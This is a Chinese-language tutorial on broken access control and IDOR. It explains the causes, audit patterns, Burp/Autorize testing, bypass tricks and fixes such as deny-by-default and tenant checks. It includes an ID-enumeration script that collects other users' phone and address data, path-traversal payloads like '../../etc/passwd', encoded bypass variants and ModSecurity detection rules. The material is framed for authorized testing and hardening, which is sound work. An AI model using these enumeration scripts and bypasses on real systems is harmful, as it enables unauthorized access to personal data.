越权是怎么发生的:IDOR、水平越权与垂直越权
A01 在 2021 榜单里从第五直接跳到第一,不是因为它变强了,而是因为行业终于承认:大部分系统的权限校验其实是纸糊的。这一篇我们从"门禁"讲起,把越权的成因、挖掘、验证和加固一次说清楚。
一、越权到底是什么
门禁只验证了你「能进楼」,没验证你「能进哪间屋」
想象一栋写字楼:前台门禁卡刷的是「你是本公司员工」,但你进到 3 楼后,每一间办公室的门是不是该归你进,却没有第二道锁。保安只验证了你"能进楼",没验证你"能进这间屋"。
Web 系统里这个结构一模一样:
用户请求 → [认证:你是谁?] → [授权:你能干这个吗?] → 业务处理
✅ 几乎所有系统都有 ❌ 经常缺失或写错失效的访问控制(Broken Access Control) 就是第二道锁缺失、装反、或者锁芯被人换了的那一类问题。
四类成因:前端校验、漏写鉴权、信任客户端、可预测 ID
我复盘过不少 SRC 和内部系统的越权报告,成因基本逃不出这四类:
| 成因 | 具体表现 | 出现频率 |
|---|---|---|
| 只在前端做校验 | 菜单按钮隐藏了、接口返回了,但服务端不管 | 极高 |
| 逐接口手写鉴权,漏写 | 几十个接口里漏了一两个,越权就来了 | 极高 |
| 信任客户端传来的身份 | 从请求参数里读 userId / role 直接当真 | 高 |
| 对象引用可预测 | 自增 ID、可枚举的文件名、顺序订单号 | 高 |
第四个成因还有个专门的名字 —— IDOR(Insecure Direct Object Reference,不安全的直接对象引用)。它不是独立的漏洞类型,而是越权里最常见的一种表现形式。
一个越权要成立,得同时满足三件事
一个越权要能被打出来,通常需要同时满足三个条件:
- 服务端未对"当前主体"与"目标资源"做归属校验 —— 最核心的一条。
- 资源标识符可被攻击者控制或预测 —— 自增 ID、
/api/order/10086这种。 - 接口对越权响应返回了有效数据 —— 至少返回了 200 和部分数据;哪怕只回"有/无"也能做枚举。
💡 踩坑提示:很多人以为"接口返回了 403 就安全了"。实际上返回码欺骗很常见 —— 有的系统越权时返回
{code: 403, msg: "无权限"},但响应体里data字段还带着目标用户的数据。判断依据永远看响应内容,不看状态码。
定级看可枚举性:从「单条泄露」到「批量拖库」
OWASP 给出的综合评分:CWE 集合共 34 个 CWE,平均加权利用率 5.82%,平均加权影响 6.08%,是实打实的高危。
典型场景按业务形态分:
- 电商 / 订单系统:改订单 ID 看他人收货地址、手机号、购买记录 —— 直接触发个人信息泄露合规风险。
- SaaS 多租户:改
tenantId跨租户读数据,这是最致命的一类,一次越权就是跨客户数据泄露。 - 后台管理系统:普通用户访问
/admin/*路径,或直接调用管理员接口(垂直越权)。 - 文件下载 / 导出:
?file=../../etc/passwd路径遍历,或者改reportId导出别人的财务报表。 - API 接口方法切换:
GET /api/user/1被拦,但PUT/DELETE没拦;或者POST /api/user/1/delete改DELETE就通了。
举一个我见过的真实场景:某 OA 系统的附件下载接口是 /api/attachment/download?fileId=12345,只在页面按钮上判断了"当前用户是否为该附件的审批人"。攻击者用 Burp 抓到请求后直接改 fileId,把全公司的薪酬附件遍历了一遍。前端的按钮隐藏,在安全上等于没有。
二、怎么把越权点找出来
代码层:盯住「按主键查」的调用
审计的核心思路是污点追踪(Taint Analysis):找到所有"外部可控输入"(Source),追踪它流到了哪个"危险操作"(Sink),中间有没有经过"净化函数"(Sanitizer)。
对于越权,Sink 不是 eval 那种危险函数,而是所有对资源的查询/操作。所以思路要变:
危险特征一:查询条件里没有租户/归属字段
// ❌ 危险:只用了主键,没有任何归属校验
@GetMapping("/api/order/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
// orderId 完全来自客户端,任何登录用户都能传任意值
return orderService.getById(orderId);
}
// ✅ 正确:把当前登录用户的身份带入查询条件
@GetMapping("/api/order/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
Long currentUserId = SecurityContext.getCurrentUserId(); // 从 session/token 取,不可被客户端伪造
return orderService.getByIdAndUserId(orderId, currentUserId); // 查不到就是没权限
}📌 审计要点:搜索所有
getById/findById/selectById这类"按主键查"的调用,逐个确认查询条件里是否带了当前主体身份。这是命中率最高的一条 grep 规则。
危险特征二:从请求参数里取身份
// ❌ 极度危险:userId 从请求里来,改一下就是别人的身份
@PostMapping("/api/profile/update")
public Result update(@RequestBody UserDTO dto) {
dto.getUserId(); // 客户端可控
return userService.update(dto);
}搜索关键词:request.getParameter("userId")、@RequestParam(.*[Uu]ser)、role、tenantId、orgId。凡是身份类字段从请求体/参数取的,都是重点嫌疑。
危险特征三:框架鉴权注解漏用或误用
- Java/Spring Security:
@PreAuthorize缺失、@Secured写错、antMatchers("/api/**").permitAll()范围过大。 - Python/Flask:路由上漏了
@login_required或自定义装饰器。 - Node/Express:中间件挂载顺序错误,鉴权中间件在某个路由之后才
app.use()。
危险特征四:路径遍历式文件操作
// ❌ 文件名直接拼接,未做规范化与白名单
@GetMapping("/download")
public void download(@RequestParam String filename) {
File file = new File(UPLOAD_DIR + filename);
}关键词:new File(、FileOutputStream、open(、Paths.get,看参数是否可控且未做 getCanonicalPath() 前缀校验。
黑盒:两个账号是起步配置
黑盒找越权,方法论就八个字:换身份、换 ID、换方法。
第一步:准备至少两个账号
- 同权限账号 A / B(测水平越权)
- 低权限账号 C + 高权限账号 admin(测垂直越权)
💡 踩坑提示:只用一个账号测越权是自欺欺人。很多 SRC 报告被拒就是因为"你怎么证明他看到了别人的数据?"——两个账号的数据对比截图是越权报告的必备证据。
第二步:抓全量接口,批量替换标识符
用 Burp 的 Site map 或 Logger++ 收集所有接口,重点关注这类参数:
userId / uid / user_id / account
orderId / orderNo / tradeId
fileId / docId / attachmentId
tenantId / orgId / companyId
id(裸 id 参数尤其可疑)第三步:判断依据(这是核心)
| 观察点 | 说明 |
|---|---|
| 响应内容是否为他人数据 | 唯一黄金标准。返回码是烟雾弹 |
| 响应长度差异 | 越权成功时响应通常明显变长(有数据) |
| 是否具有可枚举性 | 连续 ID 能遍历 = 从"单个越权"升级为"批量数据泄露" |
| HTTP 方法切换 | GET 被拦,试 POST / PUT / DELETE / PATCH |
| 路径变体 | /api/v1/user/1 → /api/v2/user/1、/api/user/1/(尾部斜杠)、/API/user/1(大小写)、加 .json 后缀 |
关键请求特征速查:
# 原始请求(账号 A)
GET /api/order/detail?orderId=10001 HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs... ← 账号 A 的 token
Cookie: sessionid=aaa改法 1:只改 orderId,token 不变 → 看是否返回他人订单(IDOR)
改法 2:token 换成账号 B 的,ID 不变 → 看跨账号是否能访问同一资源
改法 3:token 换成低权限账号 C 的 → 垂直越权
改法 4:删除 Authorization 头 → 未授权访问
改法 5:改 orderId 为不存在的,对比响应 → 区分"无数据"和"无权限"的返回差异📌 真实场景技巧:改法 5 特别有用。如果访问不存在的资源返回
{"code":404,"msg":"订单不存在"},而访问他人的订单返回{"code":403,"msg":"无权限"},说明服务端其实做了归属判断(安全);如果两者返回完全一样,或者他人订单返回了 200 数据,那就是实锤越权。
三、怎么验证,以及量化影响面
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
Burp 三步法:抓包、改 ID、枚举
Step 1 — 抓包并存下两个账号的请求
用账号 A 访问自己的订单,请求发送到 Repeater(Ctrl+R)。
Step 2 — 替换标识符重放
GET /api/order/detail?orderId=10002 HTTP/1.1 ← 改成 B 的订单号
Authorization: Bearer <A 的 token 保持不变>点 Send,对比响应。若返回了 B 的收货人姓名、手机号、地址 → 水平越权成立。
Step 3 — 确认可枚举性
把请求发到 Intruder(Ctrl+I),把 orderId 设为 payload 位置,用 Payload type = Numbers 遍历 10000-10100:
Payload type: Numbers
From: 10000 To: 10100 Step: 1跑完按 Length 列排序,长度明显偏大的就是有数据的响应。这步决定了漏洞定级 —— 单条越权是"中危",能批量遍历就是"高危/严重"。
Autorize:让插件替你重放每一个请求
手工改 ID 太慢,装 Autorize 插件(BApp Store 免费)可以自动做这件事:
1. 用低权限账号 C 登录,把 Cookie/Token 贴到 Autorize 的 "Insert injected header" 框
2. 开启 Autorize is on
3. 用高权限 admin 账号正常浏览整个后台
4. Autorize 会自动用低权限身份重放每一个请求
5. 结果三色标记:
🟢 Bypassed! → 越权成功(红色,实际是高亮告警色)
🔴 Enforced! → 权限正常
🟡 Is enforced?? → 需人工确认💡 踩坑提示:Autorize 会发出海量请求,一定要先在 Burp 的 Scope 里限定目标域名,否则你会把无关站点也扫了。另外建议把 "Interception Filters" 里的静态资源(
.js.css.png)过滤掉,否则结果列表会被刷爆。
写个脚本,量化影响面
当手工确认了越权存在,需要一个脚本来量化影响面(写报告时"可获取 N 条用户数据"比"存在越权"有说服力得多):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
IDOR 批量验证脚本 —— 仅用于授权测试
用法: python3 idor_check.py
"""
import requests
import sys
BASE = "https://target.com/api/order/detail"
TOKEN = "eyJhbGciOiJIUzI1NiIs..." # 账号 A 的 token(低权限/其他用户)
HEADERS = {
"Authorization": f"Bearer {TOKEN}",
"User-Agent": "Mozilla/5.0 (Security-Test)"
}
START_ID = 10000 # 起始 ID
END_ID = 10050 # 结束 ID(先小范围试探,别一上来就扫一万条)
OUT_FILE = "leaked.txt"
def probe(order_id: int):
"""探测单个 ID,返回 (是否越权, 摘要信息)"""
try:
# timeout 必须设!不然遇到慢接口会卡死整个脚本
r = requests.get(BASE, params={"orderId": order_id},
headers=HEADERS, timeout=8)
except requests.RequestException as e:
return False, f"ERR {e}"
# 判断依据:状态码 200 且响应体包含敏感字段
if r.status_code == 200 and ("phone" in r.text or "address" in r.text):
return True, r.text[:300] # 只截取前 300 字符,避免泄露过多
return False, f"{r.status_code} len={len(r.content)}"
def main():
hits = 0
with open(OUT_FILE, "w", encoding="utf-8") as f:
for oid in range(START_ID, END_ID + 1):
ok, info = probe(oid)
if ok:
hits += 1
f.write(f"[+] orderId={oid}\n{info}\n{'-'*60}\n")
print(f"[+] HIT orderId={oid}")
else:
print(f"[-] orderId={oid} {info}")
print(f"\n[*] 完成:{END_ID-START_ID+1} 个 ID,命中 {hits} 个越权")
print(f"[*] 结果已写入 {OUT_FILE}")
if __name__ == "__main__":
main()关键参数说明:
timeout=8—— 不加超时的话,遇到一个无响应的 ID 就会挂起几分钟。r.text[:300]—— 取证要克制。报告里附上能证明漏洞的最小片段就够,把几万条真实用户数据 dump 到本地,既是合规风险也是法律风险。- 小范围试探(
END_ID - START_ID = 50)后再决定是否扩大 —— 一是控制影响,二是避免把对方打挂。
绕过:开发自己写的半吊子校验
越权类漏洞本身没有什么"绕过 WAF"的技巧,难的是绕过开发自己写的半吊子校验:
| 绕过场景 | 手法 | 示例 |
|---|---|---|
| 路径黑名单 | URL 编码 / 双编码 | /admin → /%61dmin → /%2561dmin |
| 路径规范化 | 目录穿越回填 | /api/user/../../admin/list |
| 大小写敏感判断 | 变换大小写 | /API/Admin/List(Linux 下有效) |
| 尾部特征 | 加分号/斜杠/点 | /admin/list; /admin/list/ /admin/list. |
| 方法限制 | 换 HTTP 方法 | GET → POST → PUT → PATCH,或加 X-HTTP-Method-Override: PUT 头 |
| 参数位置 | 换传输渠道 | query → body → header → cookie → JSON 嵌套字段 |
| 内容类型 | 改 Content-Type | application/json → application/xml,有时走另一套解析器(不同解析器鉴权逻辑可能不一致) |
| ID 类型混淆 | 换 ID 形态 | 数字 ID → UUID;或反之;数组形式 id[]=1 |
💡 踩坑提示:
X-HTTP-Method-Override这招在 Spring 的老版本上特别好使 —— 因为 Spring 早期默认开启HiddenHttpMethodFilter,服务端"认为"的请求方法被头部覆盖后,可能绕过基于 URL + Method 配置的鉴权规则。
四、怎么根治,而不是打补丁
默认拒绝:让漏写在架构上不可能发生
原则一:Deny by Default(默认拒绝)
这是根治越权的唯一可靠思路。不要寄希望于"每个接口都记得加注解",而是让框架默认拦截一切,只对明确放行的接口开白名单。
// Spring Security 配置示例:默认全部需要认证,只放行白名单
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
// 只放行这些静态/公开端点
.requestMatchers("/api/public/**", "/login", "/health").permitAll()
// 其余一切请求都必须经过认证 —— 这一行是整个配置的关键
.anyRequest().authenticated()
);
return http.build();
}原则二:数据层强制归属校验(防御越权的最后一道防线)
就算控制器层漏了,数据层还能兜住。推荐做法是在 SQL/ORM 层自动注入租户与归属条件。
// MyBatis-Plus 多租户插件:自动在所有 SQL 上追加 tenant_id 条件
@Bean
public MybatisPlusInterceptor mybatisPlusInterceptor() {
MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
interceptor.addInnerInterceptor(new TenantLineInnerInterceptor(
new TenantLineHandler() {
@Override
public String getTenantIdColumn() { return "tenant_id"; }
@Override
public Expression getTenantId() {
// 从当前线程上下文取,永远不从请求参数取
return new LongValue(TenantContext.get());
}
// 特定表跳过(如全局字典表)
@Override
public boolean ignoreTable(String tableName) {
return "sys_dict".equals(tableName);
}
}
));
return interceptor;
}原则三:用间接引用替代直接对象引用
不要暴露数据库自增主键。给每个用户维护一张"资源 → 随机映射 ID"的表:
# 对外暴露的是不可预测的映射 ID,而非数据库主键
import secrets
def to_external_id(real_id: int, user_id: int) -> str:
"""
生成对外 ID:先查缓存,没有则生成随机 token 并建立映射
这样攻击者即便拿到别人的 external_id,也无法推算其他资源
"""
key = f"ext:{user_id}:{real_id}"
ext = redis.get(key)
if not ext:
ext = secrets.token_urlsafe(16) # 密码学安全随机,别用 random
redis.setex(key, 86400, ext) # 设置过期时间
redis.setex(f"rev:{ext}", 86400, f"{user_id}:{real_id}")
return ext📌 说明:间接引用不能替代鉴权,它只是把"可批量遍历"降级为"只能碰运气撞"。真正的修复还是归属校验 —— 两者要一起做。
原则四:文件下载的路径白名单
// 正确的文件下载:规范化后校验前缀,且二次确认归属
Path base = Paths.get(UPLOAD_DIR).toRealPath(); // 解析真实路径,消除 ../
Path target = base.resolve(filename).normalize().toRealPath();
if (!target.startsWith(base)) { // 前缀校验,杜绝穿越
throw new AccessDeniedException("非法路径");
}
// 还要查数据库确认该文件的 owner == 当前用户
if (!fileService.isOwner(fileId, currentUserId)) {
throw new AccessDeniedException("无权访问");
}网关与 Nginx:应用层漏了这层还能兜住
Nginx 层保护管理后台(注意 nginx 的 location 匹配不受 URL 编码影响,比应用层可靠):
# 管理后台限制来源 IP,应用层漏了这一层还能兜住
location /admin/ {
allow 10.0.0.0/8; # 内网
allow 203.0.113.50; # 办公出口 IP
deny all; # 其余全部拒绝
# 再叠一层 Basic Auth 做双因子
auth_basic "Admin Area";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://backend;
}
# 禁止访问敏感文件与目录
location ~* /\.(git|svn|env|htaccess) {
deny all;
return 404;
}API 网关统一鉴权:把鉴权逻辑收敛到网关(Kong / APISIX / Spring Cloud Gateway),业务服务不再自己判断。好处是"漏写"从概率问题变成不可能事件。
WAF 能做的有限,主要靠行为检测
越权类漏洞 WAF 能做的有限(因为请求本身是"合法"的),主要靠行为检测:
# 伪规则:ID 遍历行为检测(在 SIEM / 自定义 WAF 中实现)
id: idor-enumeration-detect
detection:
condition: same_user && many_distinct_ids && short_window
threshold:
distinct_resource_ids: 20 # 同一用户访问 20 个以上不同资源 ID
window: 60s # 在 60 秒窗口内
exclude_paths: # 排除正常的列表页/批量查询
- /api/order/list
- /api/search
action: alert_and_rate_limit
severity: high自定义 WAF 规则(ModSecurity 示例):
# 检测路径遍历尝试(含编码变体)
SecRule REQUEST_URI|ARGS "@rx (?:\.\./|\.\.\\|%2e%2e%2f|%252e%252e%252f|\.\.%2f)" \
"id:9001001,\
phase:1,\
deny,\
status:403,\
log,\
msg:'Path Traversal Attempt',\
tag:'OWASP-A01'"
# 检测 HTTP 方法覆盖头(防 Method Override 绕过)
SecRule REQUEST_HEADERS:X-HTTP-Method-Override "!@rx ^$" \
"id:9001002,\
phase:1,\
deny,\
status:403,\
log,\
msg:'HTTP Method Override Header Detected',\
tag:'OWASP-A01'"回归验证:别把正常功能也堵死
修完不能只看"这个 ID 打不通了",要做系统性回归:
#!/usr/bin/env bash
# 越权修复回归测试脚本 —— 验证修复的有效性与完整性
# 用法: bash verify_access_control.sh
TOKEN_A="eyJhbGciOiJIUzI1NiIs..." # 普通用户 A
TOKEN_B="eyJhbGciOiJIUzI1NiIs..." # 普通用户 B
BASE="https://target.com"
PASS=0; FAIL=0
check() {
# check <描述> <期望码> <实际码>
if [ "$2" = "$3" ]; then
echo "[PASS] $1 (期望 $2, 实际 $3)"; PASS=$((PASS+1))
else
echo "[FAIL] $1 (期望 $2, 实际 $3)"; FAIL=$((FAIL+1))
fi
}
# 用例 1:A 访问自己的资源,应正常 200(确认没有误伤正常功能)
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" "$BASE/api/order/detail?orderId=10001")
check "A 访问自己的订单" 200 "$code"
# 用例 2:A 访问 B 的资源,应 403/404(核心用例)
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" "$BASE/api/order/detail?orderId=10002")
check "A 越权访问 B 的订单" 403 "$code"
# 用例 3:不带 token 访问,应 401
code=$(curl -s -o /dev/null -w "%{http_code}" "$BASE/api/order/detail?orderId=10001")
check "无 token 访问" 401 "$code"
# 用例 4:低权限账号访问管理接口,应 403
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" "$BASE/api/admin/users")
check "普通用户访问管理接口" 403 "$code"
# 用例 5:路径遍历,应 403/404
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" "$BASE/download?file=../../../etc/passwd")
check "路径遍历下载" 403 "$code"
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在失败用例,需复查"💡 踩坑提示:回归用例里必须包含"正常功能没被误伤"的用例(上面的用例 1)。我见过太多次"为了修越权把鉴权收紧,结果正常用户也登不进去了"。修复后一定要跑一遍主流程冒烟。
把回归用例沉淀到 CI:上面这个脚本改造一下就能进 CI,每次发布前自动跑。鉴权这种东西靠人记,早晚出事;靠流水线,才是真的防住。
最后:逐接口手写鉴权,漏写是必然的
失效的访问控制之所以常年霸榜,根本原因是它不是一个技术实现问题,而是一个架构习惯问题。逐接口手写鉴权,漏写是必然的,不漏才是偶然。
真正的解法只有三条,按优先级排:
- 默认拒绝(
anyRequest().authenticated())—— 让漏写在架构上不可能发生。 - 数据层归属校验(多租户插件 / 统一查询拦截)—— 最后一道兜底防线。
- 自动化回归(CI 里跑越权用例)—— 防止修了又被改回去。
前端隐藏按钮、加个 if 判断、上个 WAF —— 这些都不是解法,只是自我安慰。
⚠️ 声明:本文所有示例、脚本与 Payload 仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。